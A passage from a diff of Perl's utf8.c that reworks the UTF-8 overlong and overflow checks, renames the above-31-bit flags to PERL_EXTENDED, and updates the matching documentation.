     *(d++) = uv;
 
-If C<flags> is 0, this function accepts any UV as input, but very high code
-points (above C<IV_MAX> for the platform)  will raise a deprecation warning.
-This is typically 0x7FFF_FFFF in a 32-bit word.
+If C<flags> is 0, this function accepts any code point from 0..C<IV_MAX> as
+input.  C<IV_MAX> is typically 0x7FFF_FFFF in a 32-bit word.
 
 Specifying C<flags> can further restrict what is allowed and not warned on, as
 follows:
@@ -354,30 +475,25 @@
 L<Unicode Corrigendum #9|http://www.unicode.org/versions/corrigendum9.html>.
 See L<perlunicode/Noncharacter code points>.
 
-Code points above 0x7FFF_FFFF (2**31 - 1) were never specified in any standard,
-so using them is more problematic than other above-Unicode code points.  Perl
-invented an extension to UTF-8 to represent the ones above 2**36-1, so it is
-likely that non-Perl languages will not be able to read files that contain
-these that written by the perl interpreter; nor would Perl understand files
-written by something that uses a different extension.  For these reasons, there
-is a separate set of flags that can warn and/or disallow these extremely high
-code points, even if other above-Unicode ones are accepted.  These are the
-C<UNICODE_WARN_ABOVE_31_BIT> and C<UNICODE_DISALLOW_ABOVE_31_BIT> flags.  These
-are entirely independent from the deprecation warning for code points above
-C<IV_MAX>.  On 32-bit machines, it will eventually be forbidden to have any
-code point that needs more than 31 bits to represent.  When that happens,
-effectively the C<UNICODE_DISALLOW_ABOVE_31_BIT> flag will always be set on
-32-bit machines.  (Of course C<UNICODE_DISALLOW_SUPER> will treat all
-above-Unicode code points, including these, as malformations; and
-C<UNICODE_WARN_SUPER> warns on these.)
+Extremely high code points were never specified in any standard, and require an
+extension to UTF-8 to express, which Perl does.  It is likely that programs
+written in something other than Perl would not be able to read files that
+contain these; nor would Perl understand files written by something that uses a
+different extension.  For these reasons, there is a separate set of flags that
+can warn and/or disallow these extremely high code points, even if other
+above-Unicode ones are accepted.  They are the C<UNICODE_WARN_PERL_EXTENDED>
+and C<UNICODE_DISALLOW_PERL_EXTENDED> flags.  For more information see
+L</C<UTF8_GOT_PERL_EXTENDED>>.  Of course C<UNICODE_DISALLOW_SUPER> will
+treat all above-Unicode code points, including these, as malformations.  (Note
+that the Unicode standard considers anything above 0x10FFFF to be illegal, but
+there are standards predating it that allow up to 0x7FFF_FFFF (2**31 -1))
 
-On EBCDIC platforms starting in Perl v5.24, the Perl extension for representing
-extremely high code points kicks in at 0x3FFF_FFFF (2**30 -1), which is lower
-than on ASCII.  Prior to that, code points 2**31 and higher were simply
-unrepresentable, and a different, incompatible method was used to represent
-code points between 2**30 and 2**31 - 1.  The flags C<UNICODE_WARN_ABOVE_31_BIT>
-and C<UNICODE_DISALLOW_ABOVE_31_BIT> have the same function as on ASCII
-platforms, warning and disallowing 2**31 and higher.
+A somewhat misleadingly named synonym for C<UNICODE_WARN_PERL_EXTENDED> is
+retained for backward compatibility: C<UNICODE_WARN_ABOVE_31_BIT>.  Similarly,
+C<UNICODE_DISALLOW_ABOVE_31_BIT> is usable instead of the more accurately named
+C<UNICODE_DISALLOW_PERL_EXTENDED>.  The names are misleading because on EBCDIC
+platforms,these flags can apply to code points that actually do fit in 31 bits.
+The new names accurately describe the situation in all cases.
 
 =cut
 */
@@ -391,8 +507,12 @@
     return uvchr_to_utf8_flags(d, uv, flags);
 }
 
-PERL_STATIC_INLINE bool
-S_is_utf8_cp_above_31_bits(const U8 * const s, const U8 * const e)
+#ifndef UV_IS_QUAD
+
+STATIC int
+S_is_utf8_cp_above_31_bits(const U8 * const s,
+                           const U8 * const e,
+                           const bool consider_overlongs)
 {
     /* Returns TRUE if the first code point represented by the Perl-extended-
      * UTF-8-encoded string starting at 's', and looking no further than 'e -
@@ -404,147 +524,170 @@
      * the final ones necessary for the complete representation may be beyond
      * 'e - 1'.
      *
-     * The function assumes that the sequence is well-formed UTF-8 as far as it
-     * goes, and is for a UTF-8 variant code point.  If the sequence is
-     * incomplete, the function returns FALSE if there is any well-formed
-     * UTF-8 byte sequence that can complete it in such a way that a code point
-     * < 2**31 is produced; otherwise it returns TRUE.
+     * The function also can handle the case where the input is an overlong
+     * sequence.  If 'consider_overlongs' is 0, the function assumes the
+     * input is not overlong, without checking, and will return based on that
+     * assumption.  If this parameter is 1, the function will go to the trouble
+     * of figuring out if it actually evaluates to above or below 31 bits.
      *
-     * Getting this exactly right is slightly tricky, and has to be done in
-     * several places in this file, so is centralized here.  It is based on the
-     * following table:
-     *
-     * U+7FFFFFFF (2 ** 31 - 1)
-     *      ASCII: \xFD\xBF\xBF\xBF\xBF\xBF
-     *   IBM-1047: \xFE\x41\x41\x41\x41\x41\x41\x42\x73\x73\x73\x73\x73\x73
-     *    IBM-037: \xFE\x41\x41\x41\x41\x41\x41\x42\x72\x72\x72\x72\x72\x72
-     *   POSIX-BC: \xFE\x41\x41\x41\x41\x41\x41\x42\x75\x75\x75\x75\x75\x75
-     *         I8: \xFF\xA0\xA0\xA0\xA0\xA0\xA0\xA1\xBF\xBF\xBF\xBF\xBF\xBF
-     * U+80000000 (2 ** 31):
-     *      ASCII: \xFE\x82\x80\x80\x80\x80\x80
-     *              [0] [1] [2] [3] [4] [5] [6] [7] [8] [9] 10  11  12  13
-     *   IBM-1047: \xFE\x41\x41\x41\x41\x41\x41\x43\x41\x41\x41\x41\x41\x41
-     *    IBM-037: \xFE\x41\x41\x41\x41\x41\x41\x43\x41\x41\x41\x41\x41\x41
-     *   POSIX-BC: \xFE\x41\x41\x41\x41\x41\x41\x43\x41\x41\x41\x41\x41\x41
-     *         I8: \xFF\xA0\xA0\xA0\xA0\xA0\xA0\xA2\xA0\xA0\xA0\xA0\xA0\xA0
+     * The sequence is otherwise assumed to be well-formed, without checking.
      */
 
-#ifdef EBCDIC
-
-    /* [0] is start byte  [1] [2] [3] [4] [5] [6] [7] */
-    const U8 prefix[] = "\x41\x41\x41\x41\x41\x41\x42";
-    const STRLEN prefix_len = sizeof(prefix) - 1;
     const STRLEN len = e - s;
-    const STRLEN cmp_len = MIN(prefix_len, len - 1);
+    int is_overlong;
 
-#else
+    PERL_ARGS_ASSERT_IS_UTF8_CP_ABOVE_31_BITS;
 
-    PERL_UNUSED_ARG(e);
+    assert(! UTF8_IS_INVARIANT(*s) && e > s);
 
-#endif
+#ifdef EBCDIC
 
-    PERL_ARGS_ASSERT_IS_UTF8_CP_ABOVE_31_BITS;
+    PERL_UNUSED_ARG(consider_overlongs);
 
-    assert(! UTF8_IS_INVARIANT(*s));
+    /* On the EBCDIC code pages we handle, only the native start byte 0xFE can
+     * mean a 32-bit or larger code point (0xFF is an invariant).  0xFE can
+     * also be the start byte for a 31-bit code point; we need at least 2
+     * bytes, and maybe up through 8 bytes, to determine that.  (It can also be
+     * the start byte for an overlong sequence, but for 30-bit or smaller code
+     * points, so we don't have to worry about overlongs on EBCDIC.) */
+    if (*s != 0xFE) {
+        return 0;
+    }
 
-#ifndef EBCDIC
+    if (len == 1) {
+        return -1;
+    }
 
-    /* Technically, a start byte of FE can be for a code point that fits into
-     * 31 bytes, but not for well-formed UTF-8: doing that requires an overlong
-     * malformation. */
-    return (*s >= 0xFE);
-
 #else
 
-    /* On the EBCDIC code pages we handle, only 0xFE can mean a 32-bit or
-     * larger code point (0xFF is an invariant).  For 0xFE, we need at least 2
-     * bytes, and maybe up through 8 bytes, to be sure if the value is above 31
-     * bits. */
-    if (*s != 0xFE || len == 1) {
-        return FALSE;
+    /* On ASCII, FE and FF are the only start bytes that can evaluate to
+     * needing more than 31 bits. */
+    if (LIKELY(*s < 0xFE)) {
+        return 0;
     }
 
-    /* Note that in UTF-EBCDIC, the two lowest possible continuation bytes are
-     * \x41 and \x42. */
-    return cBOOL(memGT(s + 1, prefix, cmp_len));
+    /* What we have left are FE and FF.  Both of these require more than 31
+     * bits unless they are for overlongs. */
+    if (! consider_overlongs) {
+        return 1;
+    }
 
-#endif
+    /* Here, we have FE or FF.  If the input isn't overlong, it evaluates to
+     * above 31 bits.  But we need more than one byte to discern this, so if
+     * passed just the start byte, it could be an overlong evaluating to
+     * smaller */
+    if (len == 1) {
+        return -1;
+    }
 
-}
+    /* Having excluded len==1, and knowing that FE and FF are both valid start
+     * bytes, we can call the function below to see if the sequence is
+     * overlong.  (We don't need the full generality of the called function,
+     * but for these huge code points, speed shouldn't be a consideration, and
+     * the compiler does have enough information, since it's static to this
+     * file, to optimize to just the needed parts.) */
+    is_overlong = is_utf8_overlong_given_start_byte_ok(s, len);
 
-PERL_STATIC_INLINE bool
-S_does_utf8_overflow(const U8 * const s, const U8 * e)
-{
-    const U8 *x;
-    const U8 * y = (const U8 *) HIGHEST_REPRESENTABLE_UTF8;
+    /* If it isn't overlong, more than 31 bits are required. */
+    if (is_overlong == 0) {
+        return 1;
+    }
 
-#if ! defined(UV_IS_QUAD) && ! defined(EBCDIC)
+    /* If it is indeterminate if it is overlong, return that */
+    if (is_overlong < 0) {
+        return -1;
+    }
 
-    const STRLEN len = e - s;
+    /* Here is overlong.  Such a sequence starting with FE is below 31 bits, as
+     * the max it can be is 2**31 - 1 */
+    if (*s == 0xFE) {
+        return 0;
+    }
 
 #endif
 
-    /* Returns a boolean as to if this UTF-8 string would overflow a UV on this
-     * platform, that is if it represents a code point larger than the highest
-     * representable code point.  (For ASCII platforms, we could use memcmp()
-     * because we don't have to convert each byte to I8, but it's very rare
-     * input indeed that would approach overflow, so the loop below will likely
-     * only get executed once.
-     *
-     * 'e' must not be beyond a full character.  If it is less than a full
-     * character, the function returns FALSE if there is any input beyond 'e'
-     * that could result in a non-overflowing code point */
+    /* Here, ASCII and EBCDIC rejoin:
+    *  On ASCII:   We have an overlong sequence starting with FF
+    *  On EBCDIC:  We have a sequence starting with FE. */
 
-    PERL_ARGS_ASSERT_DOES_UTF8_OVERFLOW;
-    assert(s <= e && s + UTF8SKIP(s) >= e);
+    {   /* For C89, use a block so the declaration can be close to its use */
 
-#if ! defined(UV_IS_QUAD) && ! defined(EBCDIC)
+#ifdef EBCDIC
 
-    /* On 32 bit ASCII machines, many overlongs that start with FF don't
-     * overflow */
+        /* U+7FFFFFFF (2 ** 31 - 1)
+         *              [0] [1] [2] [3] [4] [5] [6] [7] [8] [9] 10  11  12  13
+         *   IBM-1047: \xFE\x41\x41\x41\x41\x41\x41\x42\x73\x73\x73\x73\x73\x73
+         *    IBM-037: \xFE\x41\x41\x41\x41\x41\x41\x42\x72\x72\x72\x72\x72\x72
+         *   POSIX-BC: \xFE\x41\x41\x41\x41\x41\x41\x42\x75\x75\x75\x75\x75\x75
+         *         I8: \xFF\xA0\xA0\xA0\xA0\xA0\xA0\xA1\xBF\xBF\xBF\xBF\xBF\xBF
+         * U+80000000 (2 ** 31):
+         *   IBM-1047: \xFE\x41\x41\x41\x41\x41\x41\x43\x41\x41\x41\x41\x41\x41
+         *    IBM-037: \xFE\x41\x41\x41\x41\x41\x41\x43\x41\x41\x41\x41\x41\x41
+         *   POSIX-BC: \xFE\x41\x41\x41\x41\x41\x41\x43\x41\x41\x41\x41\x41\x41
+         *         I8: \xFF\xA0\xA0\xA0\xA0\xA0\xA0\xA2\xA0\xA0\xA0\xA0\xA0\xA0
+         *
+         * and since we know that *s = \xfe, any continuation sequcence
+         * following it that is gt the below is above 31 bits
+                                                [0] [1] [2] [3] [4] [5] [6] */
+        const U8 conts_for_highest_30_bit[] = "\x41\x41\x41\x41\x41\x41\x42";
 
-    if (isFF_OVERLONG(s, len)) {
-        const U8 max_32_bit_overlong[] = "\xFF\x80\x80\x80\x80\x80\x80\x84";
-        return memGE(s, max_32_bit_overlong,
-                                MIN(len, sizeof(max_32_bit_overlong) - 1));
-    }
+#else
 
+        /* FF overlong for U+7FFFFFFF (2 ** 31 - 1)
+         *      ASCII: \xFF\x80\x80\x80\x80\x80\x80\x81\xBF\xBF\xBF\xBF\xBF
+         * FF overlong for U+80000000 (2 ** 31):
+         *      ASCII: \xFF\x80\x80\x80\x80\x80\x80\x82\x80\x80\x80\x80\x80
+         * and since we know that *s = \xff, any continuation sequcence
+         * following it that is gt the below is above 30 bits
+                                                [0] [1] [2] [3] [4] [5] [6] */
+        const U8 conts_for_highest_30_bit[] = "\x80\x80\x80\x80\x80\x80\x81";
+
+
 #endif
+        const STRLEN conts_len = sizeof(conts_for_highest_30_bit) - 1;
+        const STRLEN cmp_len = MIN(conts_len, len - 1);
 
-    for (x = s; x < e; x++, y++) {
-
-        /* If this byte is larger than the corresponding highest UTF-8 byte, it
-         * overflows */
-        if (UNLIKELY(NATIVE_UTF8_TO_I8(*x) > *y)) {
-            return TRUE;
+        /* Now compare the continuation bytes in s with the ones we have
+         * compiled in that are for the largest 30 bit code point.  If we have
+         * enough bytes available to determine the answer, or the bytes we do
+         * have differ from them, we can compare the two to get a definitive
+         * answer (Note that in UTF-EBCDIC, the two lowest possible
+         * continuation bytes are \x41 and \x42.) */
+        if (cmp_len >= conts_len || memNE(s + 1,
+                                          conts_for_highest_30_bit,
+                                          cmp_len))
+        {
+            return cBOOL(memGT(s + 1, conts_for_highest_30_bit, cmp_len));
         }
 
-        /* If not the same as this byte, it must be smaller, doesn't overflow */
-        if (LIKELY(NATIVE_UTF8_TO_I8(*x) != *y)) {
-            return FALSE;
-        }
+        /* Here, all the bytes we have are the same as the highest 30-bit code
+         * point, but we are missing so many bytes that we can't make the
+         * determination */
+        return -1;
     }
-
-    /* Got to the end and all bytes are the same.  If the input is a whole
-     * character, it doesn't overflow.  And if it is a partial character,
-     * there's not enough information to tell, so assume doesn't overflow */
-    return FALSE;
 }
 
-PERL_STATIC_INLINE bool
+#endif
+
+PERL_STATIC_INLINE int
 S_is_utf8_overlong_given_start_byte_ok(const U8 * const s, const STRLEN len)
 {
-    /* Overlongs can occur whenever the number of continuation bytes
-     * changes.  That means whenever the number of leading 1 bits in a start
-     * byte increases from the next lower start byte.  That happens for start
-     * bytes C0, E0, F0, F8, FC, FE, and FF.  On modern perls, the following
-     * illegal start bytes have already been excluded, so don't need to be
-     * tested here;
+    /* Returns an int indicating whether or not the UTF-8 sequence from 's' to
+     * 's' + 'len' - 1 is an overlong.  It returns 1 if it is an overlong; 0 if
+     * it isn't, and -1 if there isn't enough information to tell.  This last
+     * return value can happen if the sequence is incomplete, missing some
+     * trailing bytes that would form a complete character.  If there are
+     * enough bytes to make a definitive decision, this function does so.
+     * Usually 2 bytes sufficient.
+     *
+     * Overlongs can occur whenever the number of continuation bytes changes.
+     * That means whenever the number of leading 1 bits in a start byte
+     * increases from the next lower start byte.  That happens for start bytes
+     * C0, E0, F0, F8, FC, FE, and FF.  On modern perls, the following illegal
+     * start bytes have already been excluded, so don't need to be tested here;
      * ASCII platforms: C0, C1
      * EBCDIC platforms C0, C1, C2, C3, C4, E0
-     *
-     * At least a second byte is required to determine if other sequences will
-     * be an overlong. */
+     */
 
     const U8 s0 = NATIVE_UTF8_TO_I8(s[0]);
     const U8 s1 = NATIVE_UTF8_TO_I8(s[1]);
@@ -569,7 +712,7 @@
 #       else
 
     if (s0 == 0xE0 && UNLIKELY(s1 < 0xA0)) {
-        return TRUE;
+        return 1;
     }
 
 #           define F0_ABOVE_OVERLONG 0x90
@@ -585,7 +728,7 @@
         || (s0 == 0xFC && UNLIKELY(s1 < FC_ABOVE_OVERLONG))
         || (s0 == 0xFE && UNLIKELY(s1 < FE_ABOVE_OVERLONG)))
     {
-        return TRUE;
+        return 1;
     }
 
     /* Check for the FF overlong */
@@ -592,20 +735,171 @@
     return isFF_OVERLONG(s, len);
 }
 
-PERL_STATIC_INLINE bool
+PERL_STATIC_INLINE int
 S_isFF_OVERLONG(const U8 * const s, const STRLEN len)
 {
+    /* Returns an int indicating whether or not the UTF-8 sequence from 's' to
+     * 'e' - 1 is an overlong beginning with \xFF.  It returns 1 if it is; 0 if
+     * it isn't, and -1 if there isn't enough information to tell.  This last
+     * return value can happen if the sequence is incomplete, missing some
+     * trailing bytes that would form a complete character.  If there are
+     * enough bytes to make a definitive decision, this function does so. */
+
     PERL_ARGS_ASSERT_ISFF_OVERLONG;
 
-    /* Check for the FF overlong.  This happens only if all these bytes match;
-     * what comes after them doesn't matter.  See tables in utf8.h,
+    /* To be an FF overlong, all the available bytes must match */
+    if (LIKELY(memNE(s, FF_OVERLONG_PREFIX,
+                     MIN(len, sizeof(FF_OVERLONG_PREFIX) - 1))))
+    {
+        return 0;
+    }
+
+    /* To be an FF overlong sequence, all the bytes in FF_OVERLONG_PREFIX must
+     * be there; what comes after them doesn't matter.  See tables in utf8.h,
      * utfebcdic.h. */
+    if (len >= sizeof(FF_OVERLONG_PREFIX) - 1) {
+        return 1;
+    }
 
-    return    len >= sizeof(FF_OVERLONG_PREFIX) - 1
-           && UNLIKELY(memEQ(s, FF_OVERLONG_PREFIX,
-                                            sizeof(FF_OVERLONG_PREFIX) - 1));
+    /* The missing bytes could cause the result to go one way or the other, so
+     * the result is indeterminate */
+    return -1;
 }
 
+#if defined(UV_IS_QUAD) /* These assume IV_MAX is 2**63-1 */
+#  ifdef EBCDIC     /* Actually is I8 */
+#   define HIGHEST_REPRESENTABLE_UTF8                                       \
+                "\xFF\xA7\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF"
+#  else
+#   define HIGHEST_REPRESENTABLE_UTF8                                       \
+                "\xFF\x80\x87\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF"
+#  endif
+#endif
+
+PERL_STATIC_INLINE int
+S_does_utf8_overflow(const U8 * const s,
+                     const U8 * e,
+                     const bool consider_overlongs)
+{
+    /* Returns an int indicating whether or not the UTF-8 sequence from 's' to
+     * 'e' - 1 would overflow an IV on this platform; that is if it represents
+     * a code point larger than the highest representable code point.  It
+     * returns 1 if it does overflow; 0 if it doesn't, and -1 if there isn't
+     * enough information to tell.  This last return value can happen if the
+     * sequence is incomplete, missing some trailing bytes that would form a
+     * complete character.  If there are enough bytes to make a definitive
+     * decision, this function does so.
+     *
+     * If 'consider_overlongs' is TRUE, the function checks for the possibility
+     * that the sequence is an overlong that doesn't overflow.  Otherwise, it
+     * assumes the sequence is not an overlong.  This can give different
+     * results only on ASCII 32-bit platforms.
+     *
+     * (For ASCII platforms, we could use memcmp() because we don't have to
+     * convert each byte to I8, but it's very rare input indeed that would
+     * approach overflow, so the loop below will likely only get executed once.)
+     *
+     * 'e' - 1 must not be beyond a full character. */
+
+
+    PERL_ARGS_ASSERT_DOES_UTF8_OVERFLOW;
+    assert(s <= e && s + UTF8SKIP(s) >= e);
+
+#if ! defined(UV_IS_QUAD)
+
+    return is_utf8_cp_above_31_bits(s, e, consider_overlongs);
+
+#else
+
+    PERL_UNUSED_ARG(consider_overlongs);
+
+    {
+        const STRLEN len = e - s;
+        const U8 *x;
+        const U8 * y = (const U8 *) HIGHEST_REPRESENTABLE_UTF8;
+
+        for (x = s; x < e; x++, y++) {
+
+            if (UNLIKELY(NATIVE_UTF8_TO_I8(*x) == *y)) {
+                continue;
+            }
+
+            /* If this byte is larger than the corresponding highest UTF-8
+             * byte, the sequence overflow; otherwise the byte is less than,
+             * and so the sequence doesn't overflow */
+            return NATIVE_UTF8_TO_I8(*x) > *y;
+
+        }
+
+        /* Got to the end and all bytes are the same.  If the input is a whole
+         * character, it doesn't overflow.  And if it is a partial character,
+         * there's not enough information to tell */
+        if (len < sizeof(HIGHEST_REPRESENTABLE_UTF8) - 1) {
+            return -1;
+        }
+
+        return 0;
+    }
+
+#endif
+
+}
+
+#if 0
+
+/* This is the portions of the above function that deal with UV_MAX instead of
+ * IV_MAX.  They are left here in case we want to combine them so that internal
+ * uses can have larger code points.  The only logic difference is that the
+ * 32-bit EBCDIC platform is treate like the 64-bit, and the 32-bit ASCII has
+ * different logic.
+ */
+
+/* Anything larger than this will overflow the word if it were converted into a UV */
+#if defined(UV_IS_QUAD)
+#  ifdef EBCDIC     /* Actually is I8 */
+#   define HIGHEST_REPRESENTABLE_UTF8                                       \
+                "\xFF\xAF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF"
+#  else
+#   define HIGHEST_REPRESENTABLE_UTF8                                       \
+                "\xFF\x80\x8F\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF"
+#  endif
+#else   /* 32-bit */
+#  ifdef EBCDIC
+#   define HIGHEST_REPRESENTABLE_UTF8                                       \
+                "\xFF\xA0\xA0\xA0\xA0\xA0\xA0\xA3\xBF\xBF\xBF\xBF\xBF\xBF"
+#  else
+#   define HIGHEST_REPRESENTABLE_UTF8  "\xFE\x83\xBF\xBF\xBF\xBF\xBF"
+#  endif
+#endif
+
+#if ! defined(UV_IS_QUAD) && ! defined(EBCDIC)
+
+    /* On 32 bit ASCII machines, many overlongs that start with FF don't
+     * overflow */
+    if (consider_overlongs && isFF_OVERLONG(s, len) > 0) {
+
+        /* To be such an overlong, the first bytes of 's' must match
+         * FF_OVERLONG_PREFIX, which is "\xff\x80\x80\x80\x80\x80\x80".  If we
+         * don't have any additional bytes available, the sequence, when
+         * completed might or might not fit in 32 bits.  But if we have that
+         * next byte, we can tell for sure.  If it is <= 0x83, then it does
+         * fit. */
+        if (len <= sizeof(FF_OVERLONG_PREFIX) - 1) {
+            return -1;
+        }
+
+        return s[sizeof(FF_OVERLONG_PREFIX) - 1] > 0x83;
+    }
+
+/* Starting with the #else, the rest of the function is identical except
+ *      1.  we need to move the 'len' declaration to be global to the function
+ *      2.  the endif move to just after the UNUSED_ARG.
+ * An empty endif is given just below to satisfy the preprocessor
+ */
+#endif
+
+#endif
+
 #undef F0_ABOVE_OVERLONG
 #undef F8_ABOVE_OVERLONG
 #undef FC_ABOVE_OVERLONG
@@ -634,8 +928,8 @@
      * return will be larger than 'e - s'.
      *
      * This function assumes that the code point represented is UTF-8 variant.
-     * The caller should have excluded this possibility before calling this
-     * function.
+     * The caller should have excluded the possibility of it being invariant
+     * before calling this function.
      *
      * 'flags' can be 0, or any combination of the UTF8_DISALLOW_foo flags
      * accepted by L</utf8n_to_uvchr>.  If non-zero, this function will return
@@ -653,7 +947,7 @@
     PERL_ARGS_ASSERT__IS_UTF8_CHAR_HELPER;
 
     assert(0 == (flags & ~(UTF8_DISALLOW_ILLEGAL_INTERCHANGE
-                          |UTF8_DISALLOW_ABOVE_31_BIT)));
+                          |UTF8_DISALLOW_PERL_EXTENDED)));
     assert(! UTF8_IS_INVARIANT(*s));
 
     /* A variant char must begin with a start byte */
@@ -671,17 +965,29 @@
     if (flags && isUTF8_POSSIBLY_PROBLEMATIC(*s)) {
         const U8 s0 = NATIVE_UTF8_TO_I8(s[0]);
 
-        /* The code below is derived from this table.  Keep in mind that legal
-         * continuation bytes range between \x80..\xBF for UTF-8, and
-         * \xA0..\xBF for I8.  Anything above those aren't continuation bytes.
-         * Hence, we don't have to test the upper edge because if any of those
-         * are encountered, the sequence is malformed, and will fail elsewhere
-         * in this function.
+        /* Here, we are disallowing some set of largish code points, and the
+         * first byte indicates the sequence is for a code point that could be
+         * in the excluded set.  We generally don't have to look beyond this or
+         * the second byte to see if the sequence is actually for one of the
+         * excluded classes.  The code below is derived from this table:
+         *
          *              UTF-8            UTF-EBCDIC I8
          *   U+D800: \xED\xA0\x80      \xF1\xB6\xA0\xA0      First surrogate
          *   U+DFFF: \xED\xBF\xBF      \xF1\xB7\xBF\xBF      Final surrogate
          * U+110000: \xF4\x90\x80\x80  \xF9\xA2\xA0\xA0\xA0  First above Unicode
          *
+         * Keep in mind that legal continuation bytes range between \x80..\xBF
+         * for UTF-8, and \xA0..\xBF for I8.  Anything above those aren't
+         * continuation bytes.  Hence, we don't have to test the upper edge
+         * because if any of those is encountered, the sequence is malformed,
+         * and would fail elsewhere in this function.
+         *
+         * The code here likewise assumes that there aren't other
+         * malformations; again the function should fail elsewhere because of
+         * these.  For example, an overlong beginning with FC doesn't actually
+         * have to be a super; it could actually represent a small code point,
+         * even U+0000.  But, since overlongs (and other malformations) are
+         * illegal, the function should return FALSE in either case.
          */
 
 #ifdef EBCDIC   /* On EBCDIC, these are actually I8 bytes */
@@ -691,10 +997,12 @@
 #  define IS_UTF8_2_BYTE_SURROGATE(s0, s1)       ((s0) == 0xF1              \
                                                        /* B6 and B7 */      \
                                               && ((s1) & 0xFE ) == 0xB6)
+#  define isUTF8_PERL_EXTENDED(s)   (*s == I8_TO_NATIVE_UTF8(0xFF))
 #else
 #  define FIRST_START_BYTE_THAT_IS_DEFINITELY_SUPER  0xF5
 #  define IS_UTF8_2_BYTE_SUPER(s0, s1)           ((s0) == 0xF4 && (s1) >= 0x90)
 #  define IS_UTF8_2_BYTE_SURROGATE(s0, s1)       ((s0) == 0xED && (s1) >= 0xA0)
+#  define isUTF8_PERL_EXTENDED(s)   (*s >= 0xFE)
 #endif
 
         if (  (flags & UTF8_DISALLOW_SUPER)
@@ -703,10 +1011,10 @@
             return 0;           /* Above Unicode */
         }
 
-        if (   (flags & UTF8_DISALLOW_ABOVE_31_BIT)
-            &&  UNLIKELY(is_utf8_cp_above_31_bits(s, e)))
+        if (   (flags & UTF8_DISALLOW_PERL_EXTENDED)
+            &&  UNLIKELY(isUTF8_PERL_EXTENDED(s)))
         {
-            return 0;           /* Above 31 bits */
+            return 0;
         }
 
         if (len > 1) {
@@ -741,13 +1049,16 @@
 
     /* Here is syntactically valid.  Next, make sure this isn't the start of an
      * overlong. */
-    if (len > 1 && is_utf8_overlong_given_start_byte_ok(s, len)) {
+    if (len > 1 && is_utf8_overlong_given_start_byte_ok(s, len) > 0) {
         return 0;
     }
 
     /* And finally, that the code point represented fits in a word on this
      * platform */
-    if (does_utf8_overflow(s, e)) {
+    if (0 < does_utf8_overflow(s, e,
+                               0 /* Don't consider overlongs */
+                              ))
+    {
         return 0;
     }
 
@@ -755,10 +1066,10 @@
 }
 
 char *
-Perl__byte_dump_string(pTHX_ const U8 * s, const STRLEN len, const bool format)
+Perl__byte_dump_string(pTHX_ const U8 * const start, const STRLEN len, const bool format)
 {
     /* Returns a mortalized C string that is a displayable copy of the 'len'
-     * bytes starting at 's'.  'format' gives how to display each byte.
+     * bytes starting at 'start'.  'format' gives how to display each byte.
      * Currently, there are only two formats, so it is currently a bool:
      *      0   \xab
      *      1    ab         (that is a space between two hex digit bytes)
@@ -766,7 +1077,8 @@
 
     const STRLEN output_len = 4 * len + 1;  /* 4 bytes per each input, plus a
                                                trailing NUL */
-    const U8 * const e = s + len;
+    const U8 * s = start;
+    const U8 * const e = start + len;
     char * output;
     char * d;
 
@@ -776,12 +1088,14 @@
     SAVEFREEPV(output);
 
     d = output;
-    for (; s < e; s++) {
+    for (s = start; s < e; s++) {
         const unsigned high_nibble = (*s & 0xF0) >> 4;
         const unsigned low_nibble =  (*s & 0x0F);
 
         if (format) {
-            *d++ = ' ';
+            if (s > start) {
+                *d++ = ' ';
+            }
         }
         else {
             *d++ = '\\';
@@ -810,7 +1124,7 @@
 PERL_STATIC_INLINE char *
 S_unexpected_non_continuation_text(pTHX_ const U8 * const s,
 
-                                         /* How many bytes to print */
+                                         /* Max number of bytes to print */
                                          STRLEN print_len,
 
                                          /* Which one is the non-continuation */
@@ -826,6 +1140,8 @@
                                ? "immediately"
                                : Perl_form(aTHX_ "%d bytes",
                                                  (int) non_cont_byte_pos);
+    const U8 * x = s + non_cont_byte_pos;
+    const U8 * e = s + print_len;
 
     PERL_ARGS_ASSERT_UNEXPECTED_NON_CONTINUATION_TEXT;
 
@@ -833,10 +1149,20 @@
      * calculated, it's likely faster to pass it; verify under DEBUGGING */
     assert(expect_len == UTF8SKIP(s));
 
+    /* As a defensive coding measure, don't output anything past a NUL.  Such
+     * bytes shouldn't be in the middle of a malformation, and could mark the
+     * end of the allocated string, and what comes after is undefined */
+    for (; x < e; x++) {
+        if (*x == '\0') {
+            x++;            /* Output this particular NUL */
+            break;
+        }
+    }
+
     return Perl_form(aTHX_ "%s: %s (unexpected non-continuation byte 0x%02x,"
                            " %s after start byte 0x%02x; need %d bytes, got %d)",
                            malformed_text,
-                           _byte_dump_string(s, print_len, 0),
+                           _byte_dump_string(s, x - s, 0),
                            *(s + non_cont_byte_pos),
                            where,
                            *s,
@@ -864,7 +1190,7 @@
 character.  Also, if UTF-8 warnings haven't been lexically disabled, a warning
 is raised.  Some UTF-8 input sequences may contain multiple malformations.
 This function tries to find every possible one in each call, so multiple
-warnings can be raised for each sequence.
+warnings can be raised for the same sequence.
 
 Various ALLOW flags can be set in C<flags> to allow (and not warn on)
 individual types of malformations, such as the sequence being overlong (that
@@ -915,35 +1241,29 @@
 (But note that warnings are not raised if lexically disabled nor if
 C<UTF8_CHECK_ONLY> is also specified.)
 
-It is now deprecated to have very high code points (above C<IV_MAX> on the
-platforms) and this function will raise a deprecation warning for these (unless
-such warnings are turned off).  This value is typically 0x7FFF_FFFF (2**31 -1)
-in a 32-bit word.
+Extremely high code points were never specified in any standard, and require an
+extension to UTF-8 to express, which Perl does.  It is likely that programs
+written in something other than Perl would not be able to read files that
+contain these; nor would Perl understand files written by something that uses a
+different extension.  For these reasons, there is a separate set of flags that
+can warn and/or disallow these extremely high code points, even if other
+above-Unicode ones are accepted.  They are the C<UTF8_WARN_PERL_EXTENDED> and
+C<UTF8_DISALLOW_PERL_EXTENDED> flags.  For more information see
+L</C<UTF8_GOT_PERL_EXTENDED>>.  Of course C<UTF8_DISALLOW_SUPER> will treat all
+above-Unicode code points, including these, as malformations.
+(Note that the Unicode standard considers anything above 0x10FFFF to be
+illegal, but there are standards predating it that allow up to 0x7FFF_FFFF
+(2**31 -1))
 
-Code points above 0x7FFF_FFFF (2**31 - 1) were never specified in any standard,
-so using them is more problematic than other above-Unicode code points.  Perl
-invented an extension to UTF-8 to represent the ones above 2**36-1, so it is
-likely that non-Perl languages will not be able to read files that contain
-these; nor would Perl understand files
-written by something that uses a different extension.  For these reasons, there
